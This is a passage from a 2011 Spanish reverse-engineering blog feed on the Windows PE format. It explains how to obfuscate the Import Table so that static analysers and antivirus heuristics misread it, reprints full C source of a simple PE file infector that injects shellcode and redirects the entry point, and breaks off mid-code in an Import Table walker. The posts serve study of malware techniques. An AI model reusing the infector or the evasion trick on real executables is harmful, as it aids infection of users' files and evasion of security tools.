href='http://el-blog-de-thor.blogspot.com/2011/04/ofuscacion-de-la-it-consecuencias.html' title='Ofuscación de la IT, consecuencias'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_FGFE7zLOsQk/TaXNAdcUzLI/AAAAAAAAAVE/39ezNGL4JmM/s72-c/image_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-2140891481990269295</id><published>2011-04-11T15:06:00.002+02:00</published><updated>2011-04-11T20:58:43.129+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Ofuscación de la Import Table</title><content type='html'>&lt;p align="justify"&gt;Leyendo y probando cosas sobre la Import Table, IT, di con una forma de ofuscar o hacer mas difícil de leer la IT.&lt;/p&gt;  &lt;p align="justify"&gt;La idea es poner la Import Table entre 2 secciones, al final de una y comienzo de la siguiente. Estas secciones en disco están separadas, pero una vez cargadas en memoria estarán juntas de modo que el cargador de Windows podrá leer correctamente la IT pero las herramientas que leen la IT en disco fallaran, como LordPE.&lt;/p&gt;  &lt;p align="justify"&gt;Veámoslo mas detalladamente. &lt;/p&gt;  &lt;p align="justify"&gt;Para las pruebas he compilado este programa en ensamblador(MASM) que solo muestra un MessageBox y finaliza: &lt;/p&gt; 
&lt;pre class="brush: cpp"&gt;.386
.model flat, stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc

includelib user32.lib
includelib kernel32.lib

.data

mensaje  db "Primer programa de prueba", 0
titulo   db "Sector Virus", 0

.code

codigo:

push MB_OK + MB_ICONINFORMATION
push  offset titulo
push  offset mensaje
push  0
call  MessageBox

push  0
call  ExitProcess

end codigo
&lt;/pre&gt;
&lt;p align="justify"&gt;Cuelgo &lt;a href="http://www.multiupload.com/FA00SO0DGZ"&gt;aquí&lt;/a&gt; el ejecutable.&lt;/p&gt;  &lt;p align="justify"&gt;Podemos ver con Olly que el ejecutable tiene 3 secciones y que la IT está en la segunda sección, rdata:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TaL8tNir-yI/AAAAAAAAATw/-AWHPyBaD3s/s1600-h/image%5B4%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL8tjUUh6I/AAAAAAAAAT0/8TTlsXC7Yos/image_thumb%5B5%5D.png?imgmax=800" width="314" height="62" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Veamos un resumen de las secciones con los valores que nos interesan:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p align="justify"&gt;.text:  
VirtualAddress 1000h   
VirtualSize 26h   
PointerToRawData 400h   
SizeOfRawData 200h   
  
.rdata   
VirtualAddress 2000h   
VirtualSize 92h   
PointerToRawData 600h   
SizeOfRawData 200h&lt;/p&gt;  &lt;p align="justify"&gt;.data  
VirtualAddress 3000h   
VirtualSize 27h   
PointerToRawData 800h   
SizeOfRawData 200h&lt;/p&gt;&lt;/blockquote&gt;&lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Otro dato importante es que la IT empieza en la RVA 2010h&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL8uM5ervI/AAAAAAAAAT4/FYwoyMKVEpo/s1600-h/image%5B9%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/TaL8uZEXmsI/AAAAAAAAAT8/QV0xWsetdBE/image_thumb%5B11%5D.png?imgmax=800" width="359" height="72" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Traducido a dirección física es la 610h.&lt;/p&gt;  &lt;p align="justify"&gt;He realizado un esquema de como estaría el ejecutable en disco y en memoria para que se entienda mas fácilmente:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TaL8u9s5b5I/AAAAAAAAAUA/YaLSgU78ofg/s1600-h/image%5B14%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL8vVOVjxI/AAAAAAAAAUE/qXGqvDK4gNI/image_thumb%5B14%5D.png?imgmax=800" width="443" height="318" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Nuestro objetivo es poner la IT al final de .rdata y comienzo de .data. Que estas secciones en disco estén separadas pero que en memoria estén juntas.&lt;/p&gt;  &lt;p align="justify"&gt;Pero como vemos en el esquema en memoria la seccion .rdata y .data no están juntas, .rdata acaba en 2200h y .data empieza en 3000h. El valor SectionAlignment es 1000h así que las secciones tienen que empezar en valores múltiplos de 1000h por lo que no podemos hacer que la sección .data virutalmente empiece en 2200h, donde acaba .rdata. La única opción que nos queda es ampliar el tamaño de .rdata para que ocupe todo el espacio en memoria, desde 2000h hasta 3000h.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TaL8wPwdDEI/AAAAAAAAAUI/V95UaAqN7aA/s1600-h/image%5B39%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TaL8wif_R-I/AAAAAAAAAUM/nTfVIJYs1Yk/image_thumb%5B33%5D.png?imgmax=800" width="453" height="363" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Para ello debemos añadir D00h 00’s al final de .rdata para hacer que el tamaño de está sea 1000h. Hay que corregir los valores de las secciones tmb:  
&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p align="justify"&gt;.text:  
VirtualAddress 1000h   
VirtualSize 26h   
PointerToRawData 400h   
SizeOfRawData 200h   
  
.rdata   
VirtualAddress 2000h   
VirtualSize 92h   
PointerToRawData 600h   
SizeOfRawData &lt;strong&gt;&lt;span &gt;1000h&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p align="justify"&gt;.data  
VirtualAddress 3000h   
VirtualSize 27h   
PointerToRawData &lt;strong&gt;&lt;span &gt;1600h&lt;/span&gt;     
&lt;/strong&gt;SizeOfRawData 200h&lt;/p&gt;&lt;/blockquote&gt;&lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Ahora ya podemos probar a mover la IT de sitio y ponerla entre las secciones .rdata y .data:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TaL8xFSZtGI/AAAAAAAAAUQ/ShfwcnWllvc/s1600-h/image%5B38%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL8xr3I1vI/AAAAAAAAAUU/5KQqspHF2lk/image_thumb%5B32%5D.png?imgmax=800" width="439" height="361" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;La IT ahora estará en disco en la posición 15FCh, que corresponde a la sección .rdata, pero finaliza en la sección .data. En memoria la IT estará en la posición 2FFCh, así que corregimos ese valor en la cabecera PE:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TaL8yOmzzWI/AAAAAAAAAUY/-68QqPegeLw/s1600-h/image%5B27%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL8ysiEsiI/AAAAAAAAAUc/JsAxkV2_jXg/image_thumb%5B24%5D.png?imgmax=800" width="407" height="90" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Probamos el ejecutable y vemos que funciona correctamente. Ya lo último que nos queda es separar las secciones .rdata y .data en disco. Esto se hace simplemente insertando 00’s y corrigiendo los valores de las secciones. El esquema quedará así:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TaL8zGEcMQI/AAAAAAAAAUg/eCWDHPfukjc/s1600-h/image%5B32%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TaL80BpdYZI/AAAAAAAAAUk/ZEdXUM2_J4s/image_thumb%5B27%5D.png?imgmax=800" width="422" height="376" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Y las secciones:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p align="justify"&gt;.text:  
VirtualAddress 1000h   
VirtualSize 26h   
PointerToRawData 400h   
SizeOfRawData 200h   
  
.rdata   
VirtualAddress 2000h   
VirtualSize 92h   
PointerToRawData 600h   
SizeOfRawData 1000h&lt;/p&gt;  &lt;p align="justify"&gt;.data  
VirtualAddress 3000h   
VirtualSize 27h   
PointerToRawData &lt;strong&gt;&lt;span &gt;1800h&lt;/span&gt;     
&lt;/strong&gt;SizeOfRawData 200h&lt;/p&gt;&lt;/blockquote&gt;&lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;El espacio entre 1600h y 1800h contiene 00’s y no será mapeado en memoria cuando se cargue el ejecutable ya que no corresponde a ninguna sección.&lt;/p&gt;  &lt;p align="justify"&gt;Subo &lt;a href="http://www.multiupload.com/A2E7JF8156"&gt;aquí el ejecutable modificado&lt;/a&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;De este modo, como vemos en el esquema, la IT en memoria está junta pero en disco separada de modo que LordPE se confunde:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TaL80iXmsqI/AAAAAAAAAUo/JQzXAkAurOE/s1600-h/image%5B48%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL81hUE2pI/AAAAAAAAAUs/ALmUR_Jc_uc/image_thumb%5B41%5D.png?imgmax=800" width="363" height="364" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;No es la única herramienta que se confunde de hecho supongo que casi todas las herramientas que leen la IT en disco se confundirán. Por ejemplo en VirusTotal en la parte de información de un ejecutable nos muestra las funciones importadas. Con el ejecutable original podemos ver las 2 funciones que utiliza el exe:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TaL81_26_GI/AAAAAAAAAUw/j745Ne1QoLE/s1600-h/image%5B53%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL83RWdnbI/AAAAAAAAAU0/32RpjbXWYNY/image_thumb%5B47%5D.png?imgmax=800" width="453" height="260" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Pero con la IT ofuscada no es capaz de leerla correctamente:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL83tq4U3I/AAAAAAAAAU4/0JNhY2Rg-qU/s1600-h/image%5B58%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TaL84k5gcYI/AAAAAAAAAU8/YmkdEPyhC7c/image_thumb%5B53%5D.png?imgmax=800" width="456" height="204" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Las heurísticas de los antivirus una de las cosas que hacen es fijarse en la IT ver que funciones usa el ejecutable y dependiendo de lo peligrosas que sean identificar un exe como un posible malware. ¿Será posible usando esta técnica engañar a la heurística de un AV?&lt;/p&gt;  &lt;p align="justify"&gt;En la siguiente entrada hacemos unas pruebas.  
Saludos!   
  
PD: Hay un detalle que me he saltado para hacer la explicación mas sencilla de seguir. En la sección data están las cadenas que se usaran en el MessageBox, nosotros ahí hemos puesto parte de la IT de modo que es necesario desplazarlas de lugar y corregir el código.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-2140891481990269295?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/2140891481990269295/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/04/ofuscacion-de-la-import-table.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2140891481990269295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2140891481990269295'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/04/ofuscacion-de-la-import-table.html' title='Ofuscación de la Import Table'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_FGFE7zLOsQk/TaL8tjUUh6I/AAAAAAAAAT0/8TTlsXC7Yos/s72-c/image_thumb%5B5%5D.png?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-2069830684669326997</id><published>2011-04-10T22:40:00.008+02:00</published><updated>2011-04-10T22:56:50.898+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Simple pero rara forma de infectar un PE</title><content type='html'>&lt;p align="justify"&gt;El otro día gracias a Twitter (lo siento, no logro encontrar quien lo twitteo) dí con &lt;a href="http://marcoramilli.blogspot.com/2011/03/pe-infector.html"&gt;esta entrada del blog de Marco Ramilli&lt;/a&gt; donde explica como infectar un ejecutable de forma sencilla. Os dejo aquí el código todo junto:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;
#include &amp;lt;stdio.h&gt;
#include &amp;lt;windows.h&gt;

DWORD GetTextSectionOffset(PIMAGE_SECTION_HEADER pSectionHeader , int NumberOfSections)
{
 while(NumberOfSections &gt; 0)
 {
  if( !strcmpi((char*)pSectionHeader-&gt;Name , ".text"))
  {
   return pSectionHeader-&gt;PointerToRawData;
  }
 }
 /* we did not find .text section */
 return 0;
}

int main(int argc , char *argv[])
{
 HANDLE hFile;
 HANDLE hMap;
 char *MappedFile = 0;
 DWORD FileSize; /* file size */
 DWORD delta;
 DWORD SectionOffset; /* .text section offset*/
 DWORD func_addr;
 IMAGE_DOS_HEADER *pDosHeader;
 IMAGE_NT_HEADERS *pNtHeader;
 IMAGE_SECTION_HEADER *pSecHeader;

 //The shell code to be injected !
 char code[] = "\x6A\x00" /*push 0 */
   "\xB8\x00\x00\x00\x00" /*mov eax , func_addr (address will be inserted automaticly)*/
   "\xFF\xD0"; /*call eax */

 if(argc != 2)
 {
  printf("parameters : %s [filename] \n", argv[0]);
  printf("simple pe infector by _antony \n");
  return 0;
 }
 printf("target: [%s] \n" , argv[1]);
 
 //Opening the passed file:
 hFile = CreateFile(argv[1] ,
      GENERIC_WRITE | GENERIC_READ ,
      0 ,
      0 ,
      OPEN_EXISTING ,
      FILE_ATTRIBUTE_NORMAL ,
      0);
 if(hFile == INVALID_HANDLE_VALUE)
 {
  printf("[Error]: Can't open File! Error code : %d" , GetLastError());
  return -1;
 }

 //Getting file size:
 FileSize = GetFileSize(hFile , 0 );
 printf("[File Size ]: %d \n", FileSize);
 /* mapping file */
 hMap = CreateFileMapping(hFile ,
        0 ,
        PAGE_READWRITE ,
        0 ,
        FileSize ,
        0);
 if(hMap == INVALID_HANDLE_VALUE)
 {
  printf("[Error]: Can't map file! Error code: %d\n" , GetLastError());
  CloseHandle(hFile);
  return -1;
 }
 MappedFile = (char*)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , FileSize);
 if(MappedFile == NULL)
 {
  printf("[Error]: Can't map file! Error code %d\n", GetLastError());
  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return -1;
 }
 //Mapping Headers:
 pDosHeader = (IMAGE_DOS_HEADER*)MappedFile;
 pNtHeader = (IMAGE_NT_HEADERS*)((DWORD)MappedFile + pDosHeader-&gt;e_lfanew);
 pSecHeader = IMAGE_FIRST_SECTION(pNtHeader);

 SectionOffset = GetTextSectionOffset(pSecHeader , pNtHeader-&gt;FileHeader.NumberOfSections);
 if(SectionOffset == 0)
 {
  printf("[Error]: Can't find .text section!\n");
  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return -1;
 }
 delta = SectionOffset - sizeof(code);
 int i;
 BYTE check;
 printf("scanning...\n");

 //looking for free space (0x/00), if enough free space is found then copy shellcode.
 for(i=0 ; i&amp;lt;sizeof(code) ; i++)
 {
  check = *((BYTE*)MappedFile + delta + i);
  printf("%X \t", check);
  if(check != 0)
  {
   printf("There is some data...\n");
   CloseHandle(hFile);
   CloseHandle(hMap);
   UnmapViewOfFile(MappedFile);
   return -1;
  }
 }
 printf("Space if free , infecting File...\n");

 //Inserting function addresses dynamically into the shellcode.

  func_addr = (DWORD)GetProcAddress( LoadLibrary("kernel32.dll") , "ExitProcess");
  for(i=0 ; i &amp;lt; sizeof(code) ; i++ )
  {
   if( *(DWORD*)&amp;code[i] == 0x00000B8)
   {
    *(DWORD*)(code+i+1)= func_addr;
   }
  }
 
  //Setting up new OEP.

  printf("Old Entry Point : %08X \n" , pNtHeader-&gt;OptionalHeader.AddressOfEntryPoint);
  memcpy(MappedFile+delta , code , sizeof(code));

  //since delta is PointerToRawData - sizeof(code), it could be added as new OEP.
  pNtHeader-&gt;OptionalHeader.AddressOfEntryPoint = delta;
  printf("File infected!\n");
  printf("New Entry Point: %08X \n" , delta);

  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return 0;
}
&lt;/pre&gt;&lt;p align="justify"&gt;Viendo el código me doy cuenta que en la anterior entrada yo leía el fichero de una forma muy chapucera, reservando memoria con malloc y después leyéndolo entero de golpe, ¿que el fichero ocupa 100 MB? pues 100 MB de memoria que se ocupan… En esté código lo hace de la forma mas correcta, utilizando un fichero proyectado en memoria mediante las APIs CreateFileMapping y MappedFile. Aquí está explicado de lujo que son y para que sirven los archivos proyectados en memoria:&lt;br /&gt;&lt;a href="http://www.rinconcitodelphi.com/articulos/Rincones_archivo/Archivosenmemoria.pdf"&gt;Los rincones del API Win32: Archivos proyectados en memoria&lt;/a&gt;  &lt;br /&gt;De ahora en adelante lo tendré en cuenta jeje.&lt;/p&gt;&lt;p align="justify"&gt;Una cosa extraña es que a primera vista, tras leer el código y los comentarios que hizo Marco por encima, pensé que el código buscaba la sección .text, buscaba espacio libre en ella suficiente para escribir el injerto, lo escribía y cambiaba el EP. Pero no, en realidad busca la sección .text y justo antes de que está empiece, si no hay nada ahí, escribe el injerto. Y cómo habitualmente la sección .text es la primera y antes de ella está la cabecera PE, esto implica que el injerto es escrito en la cabecera PE, WTF! Yo pensaba que ahí no se podía escribir código ya que no tendría permisos de ejecución, pero parece ser que no es así.&lt;/p&gt;&lt;p align="justify"&gt;Veamos un notepad.exe que me ha “infectado” este código. Lo primero vemos que las cabeceras ocupan 400h bytes.&lt;/p&gt;&lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TaIVuKVP2nI/AAAAAAAAATY/UcffD-Fyhyk/s1600-h/image%5B4%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TaIVujfPptI/AAAAAAAAATc/hr9GFdqByV8/image_thumb%5B6%5D.png?imgmax=800" width="358" height="87" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p align="justify"&gt;La sección .text comienza justo al final de la cabecera, en 400h:&lt;/p&gt;&lt;p align="justify"&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TaIVu8QJrdI/AAAAAAAAATg/Kgwuar0vKcM/s1600-h/image%5B9%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TaIVvTL6BuI/AAAAAAAAATk/CEvet8a4vyU/image_thumb%5B12%5D.png?imgmax=800" width="375" height="114" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p align="justify"&gt;De modo que en el código que he puesto arriba la función GetTextSectionOffset devuelve 400h, después realiza este calculo:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;delta = SectionOffset - sizeof(code);&lt;/pre&gt;&lt;p align="justify"&gt;Sustituyendo:&lt;/p&gt;&lt;pre class="brush: cpp"&gt;delta = 400h - Ah;
delta = 3F6h&lt;/pre&gt;&lt;p align="justify"&gt;Y en esa posición (que ya no forma parte de la sección .text, es la cabecera)busca con el bucle for si todos los bytes valen 0, en el caso de mi notepad esto es así, de modo que escribe ahí el injerto (en azul).&lt;/p&gt;&lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TaIVvzREYWI/AAAAAAAAATo/KyibieLA_As/s1600-h/image%5B15%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TaIVwo0jXLI/AAAAAAAAATs/G0SUnUda_JU/image_thumb%5B19%5D.png?imgmax=800" width="346" height="131" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p align="justify"&gt;El injerto invoca la funcion ExitProcess y finaliza el proceso.&lt;/p&gt;&lt;p align="justify"&gt;Veo que para lo que hace este código no es necesario buscar la sección .text, simplemente podría mirar el tamaño de las cabeceras situarse al final y ver si hay espacio libre ahí para poner el código, al final de la cabecera PE. Así sería aun mas sencillo y funcionaría con ejecutables en los que la sección de código se llama .code, o .UPX por ejemplo.&lt;/p&gt;&lt;p align="justify"&gt;Lo mas curioso de todo es que se pueda ejecutar código que esté en la cabecera PE, seguro que es útil.&lt;/p&gt;&lt;p align="justify"&gt;Saludos!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-2069830684669326997?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/2069830684669326997/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/04/simple-pero-rara-forma-de-infectar-un.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2069830684669326997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2069830684669326997'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/04/simple-pero-rara-forma-de-infectar-un.html' title='Simple pero rara forma de infectar un PE'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_FGFE7zLOsQk/TaIVujfPptI/AAAAAAAAATc/hr9GFdqByV8/s72-c/image_thumb%5B6%5D.png?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-8926126387999113048</id><published>2011-03-22T01:39:00.009+01:00</published><updated>2011-08-11T21:01:20.367+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Recorrer la Import Table en C</title><content type='html'>&lt;p align="justify"&gt;En el &lt;a href="http://el-blog-de-thor.blogspot.com/2011/03/codigo-para-pasar-de-rva-offset.html"&gt;post del otro día&lt;/a&gt; mostré una función de C para transformar de una dirección RVA a un offset del fichero en disco. Está función nos será útil para el objetivo de hoy: recorrer la Import Table de un ejecutable.&lt;/p&gt;  &lt;p align="justify"&gt;Ya lo hicimos manualmente es estos dos post:  
&lt;a href="http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html"&gt;http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html&lt;/a&gt;   
&lt;a href="http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-22.html"&gt;http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-22.html&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Resumiendo:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;     &lt;div align="justify"&gt;Debemos buscar la tabla de importaciones en el directorio de datos (PE+0x80), transformarla de RVA a Offset.&lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Al inicio de la IT leeremos las distintas estructuras “IMAGE IMPORT DESCRIPTOR” hasta encontrar una vacía y en cada una de ellas:&lt;/div&gt;      &lt;ol&gt;       &lt;li&gt;         &lt;div align="justify"&gt;Leemos el nombre de la dll a la que corresponde&lt;/div&gt;       &lt;/li&gt;        &lt;li&gt;         &lt;div align="justify"&gt;Recorremos la lista de punteros u ordinales apuntados por OriginalFirstThunk o si esta estuviera vacía la de FirstThunk.&lt;/div&gt;       &lt;/li&gt;        &lt;li&gt;         &lt;div align="justify"&gt;Si es un ordinal, empieza por 0x8…, le mostramos&lt;/div&gt;       &lt;/li&gt;        &lt;li&gt;         &lt;div align="justify"&gt;Si no, es una RVA de una estructura “IMAGE_IMPORT_BY_NAME” que contiene el nombre de la función importada, mostramos dicho valor.&lt;/div&gt;       &lt;/li&gt;     &lt;/ol&gt;   &lt;/li&gt; &lt;/ol&gt;  &lt;p align="justify"&gt;Os dejo el código:&lt;/p&gt;  &lt;pre class="brush: cpp"&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;windows.h&amp;gt;

DWORD RVAToOffset(byte *buf, DWORD RVA);

int main(int argc, char *argv[])
{
if(argc != 2)
{
printf("Pasale un parametro !");
return EXIT_FAILURE;
}
HANDLE fichero = CreateFile((LPCTSTR)argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(fichero == INVALID_HANDLE_VALUE)
{
printf("Error abriendo el fichero");
return EXIT_FAILURE;
}
printf("IAT de %s\n", argv[1]);
DWORD size = GetFileSize(fichero, NULL);
byte *buf = (byte *)malloc(size);
DWORD bytesleidos;
ReadFile(fichero, buf, size, &amp;amp;bytesleidos, NULL);
CloseHandle(fichero);
//Si se consigue leer en el buffer todo el fichero continuar
if(size == bytesleidos)
{
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)buf;
if(pIDH-&amp;gt;e_magic == IMAGE_DOS_SIGNATURE) //MZ
{
